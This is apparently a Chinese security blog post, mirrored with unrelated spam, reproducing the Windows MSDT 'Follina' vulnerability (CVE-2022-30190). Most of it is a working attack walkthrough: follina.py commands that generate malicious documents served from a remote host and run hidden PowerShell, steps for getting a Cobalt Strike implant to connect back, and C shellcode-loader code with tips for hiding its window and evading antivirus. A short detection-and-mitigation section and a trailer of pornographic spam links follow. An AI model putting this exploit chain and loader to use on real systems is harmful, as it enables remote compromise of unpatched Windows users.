1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        Windows支持診斷工具(MSDT)遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2022-30190)分析復(fù)現(xiàn)/修復(fù)

        共 3442字,需瀏覽 7分鐘

         ·

        2022-06-07 19:52

        前言

        Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability對(duì)應(yīng)的cve編號(hào)為CVE-2022-30190,其能夠在非管理員權(quán)限、禁用宏且在windows defender開(kāi)啟的情況下繞過(guò)防護(hù),達(dá)到上線(xiàn)的效果。

        當(dāng)從Word等應(yīng)用程序使用 URL 協(xié)議調(diào)用 MSDT 時(shí)存在遠(yuǎn)程執(zhí)行代碼漏洞,攻擊者通過(guò)制作惡意的Office文檔,誘導(dǎo)用戶(hù)在受影響的系統(tǒng)上打開(kāi)惡意文檔后,在宏被禁用的情況下,仍可通過(guò) ms-msdt URI執(zhí)行任意PowerShell代碼,當(dāng)惡意文件保存為RTF格式時(shí),無(wú)需受害者打開(kāi)文件,即可通過(guò)資源管理器中的預(yù)覽窗格在目標(biāo)系統(tǒng)上執(zhí)行任意代碼。

        微軟報(bào)該漏洞后,紅隊(duì)藍(lán)軍團(tuán)隊(duì)時(shí)對(duì)其進(jìn)行復(fù)現(xiàn)。

        適用版本

        在這里筆者只測(cè)試了如下版本,對(duì)于Office的 InsiderCurrent 和版本無(wú)法進(jìn)行利用

        Microsoft Office LTSC 專(zhuān)業(yè)增強(qiáng)版 2021

        Office 2013

        Office 2016

        環(huán)境搭建

        這里筆者使用Office Tool Plus進(jìn)行office的安裝(記得打一下廣告費(fèi)),官網(wǎng)如下

        https://otp.landian.vip/zh-cn/

        github鏈接如下

        https://github.com/YerongAI/Office-Tool/releases/tag/v8.3.10.7

        這里我安裝Microsoft Office LTSC 專(zhuān)業(yè)增強(qiáng)版 2021版本


        筆者下載的版本為2108


        漏洞復(fù)現(xiàn)

        彈計(jì)算器

        我們找到poc,鏈接如下

        https://github.com/chvancooten/follina.py

        我們可以看到作者給出了以下幾種用法


        #?Execute?a?local?binary
        python?.\follina.py?-m?binary?-b?\windows\system32\calc.exe

        #?Execute?a?binary?from?a?file?share?(can?be?used?to?farm?hashes???)
        python?.\follina.py?-m?binary?-b?\\localhost\c$\windows\system32\calc.exe

        #?Execute?an?arbitrary?powershell?command
        python?.\follina.py?-m?command?-c?"Start-Process?c:\windows\system32\cmd.exe?-WindowStyle?hidden?-ArgumentList?'/c?echo?owned?>?c:\users\public\owned.txt'"

        #?Run?the?web?server?on?the?default?interface?(all?interfaces,?0.0.0.0),?but?tell?the?malicious?document?to?retrieve?it?at?http://1.2.3.4/exploit.html
        python?.\follina.py?-m?binary?-b?\windows\system32\calc.exe?-u?1.2.3.4

        #?Only?run?the?webserver?on?localhost,?on?port?8080?instead?of?80
        python?.\follina.py?-m?binary?-b?\windows\system32\calc.exe?-H?127.0.0.1?-P?8080

        這里我們首先使用最后一種,彈一下計(jì)算器,使用如下payload生成一下

        python?follina.py?-m?binary?-b?\windows\system32\calc.exe?-H?0.0.0.0?-P?8080

        然后這里直接點(diǎn)擊clickme.docx即可


        效果如下,這里會(huì)彈出一個(gè)程序兼容性疑難解答,這里不用管


        上線(xiàn)cs

        我們首先嘗試直接使用exe上線(xiàn),首先cs生成一個(gè)不經(jīng)過(guò)任何處理的馬


        這里使用之前的payload進(jìn)行嘗試,把文件放到windows\system32

        python?follina.py?-m?binary?-b?\windows\system32\artifact.exe?-H?0.0.0.0?-P?8080


        還是點(diǎn)擊clickme.docx,但是沒(méi)有上線(xiàn)


        但是這里沒(méi)有上線(xiàn),這里筆者進(jìn)行問(wèn)題的排查,換一個(gè)也在system32下的mmc.exe,這里是可以成功打開(kāi)的


        那么這個(gè)payload肯定是沒(méi)有問(wèn)題的,那么問(wèn)題就出在我們上線(xiàn)cs的exe上,這里筆者嘗試使用x86的payload、使用powershell加載都以失敗告終,最后找到了解決方法,使用cs生成的shellcode自己通過(guò)VirtualAlloc申請(qǐng)內(nèi)存并編譯即可上線(xiàn)



        然后編寫(xiě)代碼實(shí)現(xiàn)將shellcode加載到內(nèi)存空間,這里就用最簡(jiǎn)單的VirtualAlloc申請(qǐng)空間然后用指針指向申請(qǐng)的空間,這里shellcode加解密去繞AV師傅們可自行拓展,實(shí)現(xiàn)代碼如下(shellcode填充到buf[]數(shù)組即可)

        #include?
        #include?

        /*?length:?833?bytes?*/
        unsigned?char?buf[]?=?"";


        void?shellcode()
        {
        ?PVOID?p?=?NULL;
        ?p?=?VirtualAlloc(NULL,?sizeof(buf),?MEM_COMMIT,?PAGE_EXECUTE_READWRITE);
        ?if?(p?==?NULL)
        ??printf("VirtualAlloc?error?:?%d\n",?GetLastError());
        ?else
        ??printf("VirtualAlloc?successfully?,?address?:?%x\n",?p);

        ?if?(!memcpy(p,?buf,?sizeof(buf)))
        ??printf("Write?shellcode?failed\n");
        ?else
        ??printf("Write?shellcode?successfully\n");

        ?((void(*)())p)();

        }


        int?main(int?argc,?char**?argv)
        {
        ????shellcode();
        ????getchar();

        ?return?0;
        }

        編譯生成MyVirtualAlloc.exe


        然后使用exp進(jìn)行攻擊,這里筆者測(cè)試了使用遠(yuǎn)程加載還是不能上線(xiàn)

        python?follina.py?-m?binary?-b?F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe?-H?0.0.0.0?-P?8080


        使用-c命令直接啟動(dòng)exe上線(xiàn)成功

        python?follina.py?-m?command?-c?"Start-Process?F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe"


        這里為了更加隱蔽直接去掉黑框


        改變?nèi)肟邳c(diǎn)為mainCRTStartup


        點(diǎn)擊clickme.docx上線(xiàn)成功


        利用排查

        若利用過(guò)漏洞則在以下路徑會(huì)留有注冊(cè)表

        HKEY_USERS\$USER_SID\SOFTWARE\Microsoft\Office\$OFFICE_VERSION\Common\Internet\Server?Cache

        修復(fù)

        禁用MSDT URL協(xié)議

        1、以管理員身份運(yùn)行命令提示符

        2、備份注冊(cè)表項(xiàng)后,執(zhí)行命令:reg export HKEY_CLASSES_ROOT\ms-msdt filename

        3、再執(zhí)行命令:reg delete HKEY_CLASSES_ROOT\ms-msdt /f

        若需要撤銷(xiāo)禁用則用管理員身份打開(kāi)cmd執(zhí)行:reg import filename




        往期精彩文章




        團(tuán)隊(duì)招人進(jìn)行時(shí)!期待優(yōu)秀的你加入
        新華三magicR100存在未授權(quán)RCE攻擊
        MSF監(jiān)聽(tīng)之加密流量下的后門(mén)上線(xiàn)
        記一次拿圖書(shū)館小姐姐微信的全過(guò)程


        技術(shù)支持:白帽子社區(qū)團(tuán)隊(duì)
        —?掃碼關(guān)注我們?



        瀏覽 96
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            色豆花在线 | 成人男女免费视频 | 三及片在线视频 | 国产精品亚洲第一区 | 啊灬啊别停灬用力啊视频 | 自拍偷拍 亚洲 | 69精品少妇一区二区三区蜜桃 | 国产91精品高潮白浆喷水 | 欧美精品一区三区 | 在线观看亚洲国产 |